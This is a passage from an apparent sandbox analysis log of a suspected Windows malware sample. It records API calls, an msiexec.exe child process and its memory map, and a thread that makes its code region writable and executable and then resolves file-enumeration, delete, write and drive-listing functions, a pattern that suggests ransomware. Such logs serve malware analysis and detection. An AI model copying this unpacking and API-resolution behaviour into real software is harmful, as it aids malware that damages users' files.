lpBaseName="comctl32.dll") returned 0xc [0264.331] CoTaskMemFree (pv=0x4fbd960) [0264.331] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.331] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x70ee0000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0264.331] CoTaskMemFree (pv=0x4fbd960) [0264.331] GetModuleInformation (in: hProcess=0x2bc, hModule=0x735f0000, lpmodinfo=0x244c6d8, cb=0xc | out: lpmodinfo=0x244c6d8*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0264.332] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.332] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x735f0000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0264.381] CoTaskMemFree (pv=0x4fbd960) [0264.381] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.381] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x735f0000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0264.382] CoTaskMemFree (pv=0x4fbd960) [0264.382] GetModuleInformation (in: hProcess=0x2bc, hModule=0x75b40000, lpmodinfo=0x244e7e4, cb=0xc | out: lpmodinfo=0x244e7e4*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0264.383] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.383] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x75b40000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0264.383] CoTaskMemFree (pv=0x4fbd960) [0264.383] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.383] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x75b40000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0264.384] CoTaskMemFree (pv=0x4fbd960) [0264.384] GetModuleInformation (in: hProcess=0x2bc, hModule=0x70de0000, lpmodinfo=0x24508f0, cb=0xc | out: lpmodinfo=0x24508f0*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0264.385] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.385] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x70de0000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0264.386] CoTaskMemFree (pv=0x4fbd960) [0264.386] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.386] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x70de0000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0264.386] CoTaskMemFree (pv=0x4fbd960) [0264.386] GetModuleInformation (in: hProcess=0x2bc, hModule=0x77ae0000, lpmodinfo=0x2452a14, cb=0xc | out: lpmodinfo=0x2452a14*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0264.387] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.387] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x77ae0000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0264.388] CoTaskMemFree (pv=0x4fbd960) [0264.388] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.388] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x77ae0000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0264.389] CoTaskMemFree (pv=0x4fbd960) [0264.389] GetModuleInformation (in: hProcess=0x2bc, hModule=0x70d00000, lpmodinfo=0x2454b18, cb=0xc | out: lpmodinfo=0x2454b18*(lpBaseOfDll=0x70d00000, SizeOfImage=0xd4000, EntryPoint=0x70d330d2)) returned 1 [0264.390] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.390] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x70d00000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="diasymreader.dll") returned 0x10 [0264.390] CoTaskMemFree (pv=0x4fbd960) [0264.391] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.391] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x70d00000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\diasymreader.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\diasymreader.dll")) returned 0x3e [0264.391] CoTaskMemFree (pv=0x4fbd960) [0264.391] GetModuleInformation (in: hProcess=0x2bc, hModule=0x761c0000, lpmodinfo=0x2456c70, cb=0xc | out: lpmodinfo=0x2456c70*(lpBaseOfDll=0x761c0000, SizeOfImage=0xc4a000, EntryPoint=0x76241601)) returned 1 [0264.392] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.392] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x761c0000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0264.393] CoTaskMemFree (pv=0x4fbd960) [0264.393] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.393] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x761c0000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0264.394] CoTaskMemFree (pv=0x4fbd960) [0264.394] CloseHandle (hObject=0x2bc) returned 1 Thread: id = 66 os_tid = 0x5d4 Thread: id = 67 os_tid = 0x640 Process: id = "10" image_name = "msiexec.exe" filename = "c:\\windows\\syswow64\\msiexec.exe" page_root = "0x511bd000" os_pid = "0x7d4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x55c" cmd_line = "C:\\Windows\\SysWOW64\\msiexec.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e834" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2778 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2779 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2780 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2781 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2782 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2783 start_va = 0x170000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2784 start_va = 0x1e0000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2785 start_va = 0x400000 end_va = 0x428fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 2786 start_va = 0x440000 end_va = 0x453fff entry_point = 0x440000 region_type = mapped_file name = "msiexec.exe" filename = "\\Windows\\SysWOW64\\msiexec.exe" (normalized: "c:\\windows\\syswow64\\msiexec.exe") Region: id = 2787 start_va = 0x77930000 end_va = 0x77ad8fff entry_point = 0x77930000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2788 start_va = 0x77b10000 end_va = 0x77c8ffff entry_point = 0x77b10000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2789 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2790 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2791 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2792 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2793 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2794 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2795 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2796 start_va = 0x70000 end_va = 0x70fff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2797 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 2798 start_va = 0xd0000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2799 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x74080000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2800 start_va = 0x74090000 end_va = 0x740ebfff entry_point = 0x74090000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2801 start_va = 0x740f0000 end_va = 0x7412efff entry_point = 0x740f0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2802 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2803 start_va = 0x260000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2804 start_va = 0x360000 end_va = 0x3c6fff entry_point = 0x360000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2805 start_va = 0x75990000 end_va = 0x759d5fff entry_point = 0x75990000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2806 start_va = 0x77540000 end_va = 0x7764ffff entry_point = 0x77540000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2807 start_va = 0x77710000 end_va = 0x7782efff entry_point = 0x0 region_type = private name = "private_0x0000000077710000" filename = "" Region: id = 2808 start_va = 0x77830000 end_va = 0x77929fff entry_point = 0x0 region_type = private name = "private_0x0000000077830000" filename = "" Region: id = 2809 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2810 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2811 start_va = 0x773f0000 end_va = 0x7748ffff entry_point = 0x773f0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2812 start_va = 0x77490000 end_va = 0x7753bfff entry_point = 0x77490000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2813 start_va = 0x75f70000 end_va = 0x75f88fff entry_point = 0x75f70000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2814 start_va = 0x758a0000 end_va = 0x7598ffff entry_point = 0x758a0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2815 start_va = 0x75670000 end_va = 0x756cffff entry_point = 0x75670000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2816 start_va = 0x75660000 end_va = 0x7566bfff entry_point = 0x75660000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2817 start_va = 0x460000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 2818 start_va = 0x75e10000 end_va = 0x75f0ffff entry_point = 0x75e10000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2819 start_va = 0x75810000 end_va = 0x7589ffff entry_point = 0x75810000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2820 start_va = 0x772c0000 end_va = 0x772c9fff entry_point = 0x772c0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2821 start_va = 0x75a30000 end_va = 0x75accfff entry_point = 0x75a30000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2822 start_va = 0x20000 end_va = 0x3dfff entry_point = 0x20000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2823 start_va = 0x4d0000 end_va = 0x657fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 2824 start_va = 0x20000 end_va = 0x3dfff entry_point = 0x20000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2825 start_va = 0x75ae0000 end_va = 0x75b3ffff entry_point = 0x75ae0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2826 start_va = 0x75be0000 end_va = 0x75cabfff entry_point = 0x75be0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2827 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2828 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2829 start_va = 0x660000 end_va = 0x7e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 2830 start_va = 0x7f0000 end_va = 0x1beffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 2831 start_va = 0x761c0000 end_va = 0x76e09fff entry_point = 0x761c0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 2832 start_va = 0x75db0000 end_va = 0x75e06fff entry_point = 0x75db0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2833 start_va = 0x73920000 end_va = 0x73931fff entry_point = 0x73920000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 2834 start_va = 0x75d40000 end_va = 0x75d74fff entry_point = 0x75d40000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2835 start_va = 0x75bd0000 end_va = 0x75bd5fff entry_point = 0x75bd0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2836 start_va = 0x1bf0000 end_va = 0x1c9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001bf0000" filename = "" Region: id = 2837 start_va = 0x1ca0000 end_va = 0x1f6efff entry_point = 0x1ca0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2838 start_va = 0x90000 end_va = 0x9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2839 start_va = 0x2020000 end_va = 0x205ffff entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 2840 start_va = 0x20a0000 end_va = 0x20dffff entry_point = 0x0 region_type = private name = "private_0x00000000020a0000" filename = "" Region: id = 2841 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2842 start_va = 0xa0000 end_va = 0xa3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 2843 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2844 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2845 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2846 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2847 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2848 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2849 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2850 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2851 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2852 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2853 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2854 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2855 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2856 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2857 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2858 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2859 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2860 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2861 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2862 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2863 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2864 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2865 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2866 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2867 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2868 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2869 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2870 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2871 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2872 start_va = 0x20e0000 end_va = 0x21e0fff entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 2873 start_va = 0x20e0000 end_va = 0x21e0fff entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 2874 start_va = 0x20e0000 end_va = 0x21e0fff entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 2875 start_va = 0x20e0000 end_va = 0x21e0fff entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Thread: id = 69 os_tid = 0x440 [0262.307] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77540000 [0262.307] VirtualProtect (in: lpAddress=0x401000, dwSize=0x9c25, flNewProtect=0x40, lpflOldProtect=0x21f304 | out: lpflOldProtect=0x21f304*=0x40) returned 1 [0262.308] LocalAlloc (uFlags=0x0, uBytes=0x68) returned 0x2630e0 [0262.308] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77540000 [0262.308] LoadLibraryA (lpLibFileName="NTDLL") returned 0x77b10000 [0262.308] LoadLibraryA (lpLibFileName="NTDLL") returned 0x77b10000 [0262.308] VirtualProtect (in: lpAddress=0x401000, dwSize=0x9c25, flNewProtect=0x20, lpflOldProtect=0x21f304 | out: lpflOldProtect=0x21f304*=0x40) returned 1 [0262.309] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77540000 [0262.310] GetProcAddress (hModule=0x77540000, lpProcName="GetProcAddress") returned 0x77551222 [0262.310] GetProcAddress (hModule=0x77540000, lpProcName="GetModuleHandleW") returned 0x775534b0 [0262.310] GetProcAddress (hModule=0x77540000, lpProcName="FindNextFileW") returned 0x775554ee [0262.310] GetProcAddress (hModule=0x77540000, lpProcName="FindClose") returned 0x77554442 [0262.310] GetProcAddress (hModule=0x77540000, lpProcName="MoveFileW") returned 0x77569af0 [0262.310] GetProcAddress (hModule=0x77540000, lpProcName="GetFileSizeEx") returned 0x775559e2 [0262.310] GetProcAddress (hModule=0x77540000, lpProcName="GetModuleFileNameW") returned 0x77554950 [0262.310] GetProcAddress (hModule=0x77540000, lpProcName="GetFileAttributesW") returned 0x77551b18 [0262.310] GetProcAddress (hModule=0x77540000, lpProcName="ExitProcess") returned 0x77557a10 [0262.310] GetProcAddress (hModule=0x77540000, lpProcName="GetCommandLineW") returned 0x77555223 [0262.310] GetProcAddress (hModule=0x77540000, lpProcName="GetComputerNameW") returned 0x7755dd0e [0262.310] GetProcAddress (hModule=0x77540000, lpProcName="GetComputerNameA") returned 0x7756b6e0 [0262.310] GetProcAddress (hModule=0x77540000, lpProcName="CreateMutexW") returned 0x7755424c [0262.310] GetProcAddress (hModule=0x77540000, lpProcName="lstrlenW") returned 0x77551700 [0262.310] GetProcAddress (hModule=0x77540000, lpProcName="lstrlenA") returned 0x77555a4b [0262.311] GetProcAddress (hModule=0x77540000, lpProcName="GetCurrentProcess") returned 0x77551809 [0262.311] GetProcAddress (hModule=0x77540000, lpProcName="WaitForSingleObject") returned 0x77551136 [0262.311] GetProcAddress (hModule=0x77540000, lpProcName="GetLogicalDrives") returned 0x77555371 [0262.311] GetProcAddress (hModule=0x77540000, lpProcName="GetTickCount") returned 0x7755110c [0262.311] GetProcAddress (hModule=0x77540000, lpProcName="DeleteFileW") returned 0x775589b3 [0262.311] GetProcAddress (hModule=0x77540000, lpProcName="WideCharToMultiByte") returned 0x7755170d [0262.311] GetProcAddress (hModule=0x77540000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x77551916 [0262.311] GetProcAddress (hModule=0x77540000, lpProcName="Sleep") returned 0x775510ff [0262.311] GetProcAddress (hModule=0x77540000, lpProcName="LeaveCriticalSection") returned 0x77b32270 [0262.311] GetProcAddress (hModule=0x77540000, lpProcName="ReadFile") returned 0x77553ed3 [0262.311] GetProcAddress (hModule=0x77540000, lpProcName="CreateFileW") returned 0x77553f5c [0262.311] GetProcAddress (hModule=0x77540000, lpProcName="OpenMutexW") returned 0x77555151 [0262.311] GetProcAddress (hModule=0x77540000, lpProcName="EnterCriticalSection") returned 0x77b322b0 [0262.311] GetProcAddress (hModule=0x77540000, lpProcName="WaitForMultipleObjects") returned 0x77554220 [0262.311] GetProcAddress (hModule=0x77540000, lpProcName="lstrcmpiW") returned 0x7756d5cd [0262.311] GetProcAddress (hModule=0x77540000, lpProcName="lstrcmpiA") returned 0x77553e8e [0262.312] GetProcAddress (hModule=0x77540000, lpProcName="DeleteCriticalSection") returned 0x77b445f5 [0262.312] GetProcAddress (hModule=0x77540000, lpProcName="ReleaseMutex") returned 0x7755111e [0262.312] GetProcAddress (hModule=0x77540000, lpProcName="CloseHandle") returned 0x77551410 [0262.312] GetProcAddress (hModule=0x77540000, lpProcName="GetVersion") returned 0x77554467 [0262.312] GetProcAddress (hModule=0x77540000, lpProcName="CreateThread") returned 0x775534d5 [0262.312] GetProcAddress (hModule=0x77540000, lpProcName="ExpandEnvironmentStringsW") returned 0x77554173 [0262.312] GetProcAddress (hModule=0x77540000, lpProcName="QueryPerformanceCounter") returned 0x77551725 [0262.312] GetProcAddress (hModule=0x77540000, lpProcName="QueryPerformanceFrequency") returned 0x775541f0 [0262.312] GetProcAddress (hModule=0x77540000, lpProcName="GetCurrentProcessId") returned 0x775511f8 [0262.312] GetProcAddress (hModule=0x77540000, lpProcName="SetFileAttributesW") returned 0x7756d4f7 [0262.312] GetProcAddress (hModule=0x77540000, lpProcName="GetVolumeInformationW") returned 0x7756c860 [0262.312] GetProcAddress (hModule=0x77540000, lpProcName="WriteFile") returned 0x77551282 [0262.312] GetProcAddress (hModule=0x77540000, lpProcName="SetFilePointerEx") returned 0x7756c807 [0262.312] GetProcAddress (hModule=0x77540000, lpProcName="SetEndOfFile") returned 0x7756ce2e [0262.312] GetProcAddress (hModule=0x77540000, lpProcName="FindFirstFileW") returned 0x77554435 [0262.312] GetProcAddress (hModule=0x77540000, lpProcName="GetProcessHeap") returned 0x775514e9 [0262.313] GetProcAddress (hModule=0x77540000, lpProcName="HeapReAlloc") returned 0x77b51f6e [0262.313] GetProcAddress (hModule=0x77540000, lpProcName="HeapAlloc") returned 0x77b3e026 [0262.313] GetProcAddress (hModule=0x77540000, lpProcName="HeapFree") returned 0x775514c9 